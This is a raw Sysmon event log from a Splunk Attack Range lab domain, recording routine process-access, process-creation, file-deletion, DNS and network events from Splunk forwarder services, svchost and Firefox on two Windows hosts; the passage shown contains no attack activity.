14:58:35.175{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016418Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.175{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016417Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.175{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016416Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.175{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016415Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.175{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016414Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.175{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016413Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.175{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016412Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.175{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016411Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.175{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016410Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.175{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-729B-613B-FB04-00000000F101}3120C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016409Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.175{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-729B-613B-FB04-00000000F101}3120C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016408Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.177{625C326B-729B-613B-FB04-00000000F101}3120C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016407Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.034{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=0B7877BE5D225C023E83E96A916FD33A,SHA256=0E64B6CE89F8DBB197E032D0E4CD79E1CAB42D491571B215B373E029F9E989D6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:35.709{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\cache2\doomed\23973MD5=55D8739158DB4A62E00B12ECB9CC8E00,SHA256=258665CCDCBA46895E10358E195C5E3F7AAC39C6A621BB0E2B97F092D882759F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:35.100{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C0A625DEBDC4A776097D1C39A3B1B5CB,SHA256=95038DF3DFFFEDCD2F52178EBCF22867749B25B92E44EBBF4690E42821C3B1DB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 22542200x800000000000000051260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:34.778{7BD73061-728D-613B-560B-00000000F001}4776onedscolprdeus14.eastus.cloudapp.azure.com9501-C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000051259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:34.768{7BD73061-728D-613B-560B-00000000F001}4776onedscolprdeus14.eastus.cloudapp.azure.com020.42.65.90;C:\Program Files\Mozilla Firefox\firefox.exe 23542300x800000000000000051258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:36.762{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\webappsstore.sqlite-walMD5=D41C0DC3D07A51B18AFA55E8F351B6B8,SHA256=B56D7A2C7F9D07B756F305534A46229DD1045EBEC5C53DCAAC2AD0E87C90EC65,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:36.759{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\webappsstore.sqlite-shmMD5=85954008EBD6B9477EDAADD707C170F7,SHA256=D72C837E4D993263804F3B3F8BF31D4A5F457956DBAD82C7AFC90F4DAF6260C7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:36.755{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\default\https+++www.google.com\ls\data.sqlite-journalMD5=BDB28A6BBC12D8EFC5EDD08E3726CEA6,SHA256=074F446836EFCF4EB371C2C911AE30F895B2CF86F1AA82EC226838BAC1009B22,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:36.743{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:36.741{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shmMD5=5915AF699B0366286D8E3871E93AED3E,SHA256=3A11B870341A3132667FCCC854EFA885EAB3F409B62C995446CE3AC66DED3C13,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:36.731{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\default\https+++www.google.com\ls\usageMD5=EBC8B422EEDBC58E3819C5A5D764FF3F,SHA256=56B4D7F1D37E1A261D4A8CB4EED614BA0C7779685B22B17732B986F47F2C7B24,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000051252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:34.161{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59572-false20.42.65.90-443https 354300x800000000000000051251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:34.072{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56775- 354300x800000000000000051250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:34.072{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local61738- 354300x800000000000000051249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:34.069{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local54728- 23542300x800000000000000051248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:36.201{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:36.196{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:36.195{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shmMD5=4BACD4AC30DC4C5B0DC6CDDB62EBFE98,SHA256=010C857759FE35BF5889FEB388F8C23208C654D51F01B2583BA598F7E26B337B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:36.193{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016450Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:36.316{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BA1D1586026E911BB41195998601F1FC,SHA256=2DBF81BC3374BA5E3C49682DC47415A911FF6E354D8F8DEDCC4774B58D0A80EF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016449Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:36.316{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=3878CAC6FEC58145EE7FFFBA213498CD,SHA256=227A0D021B8417E32ACF430365795813B71F8E644CF6970D32C182DFDBFE3273,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016448Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:36.175{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-729C-613B-FD04-00000000F101}3620C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016447Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:36.175{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016446Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:36.175{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016445Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:36.175{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016444Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 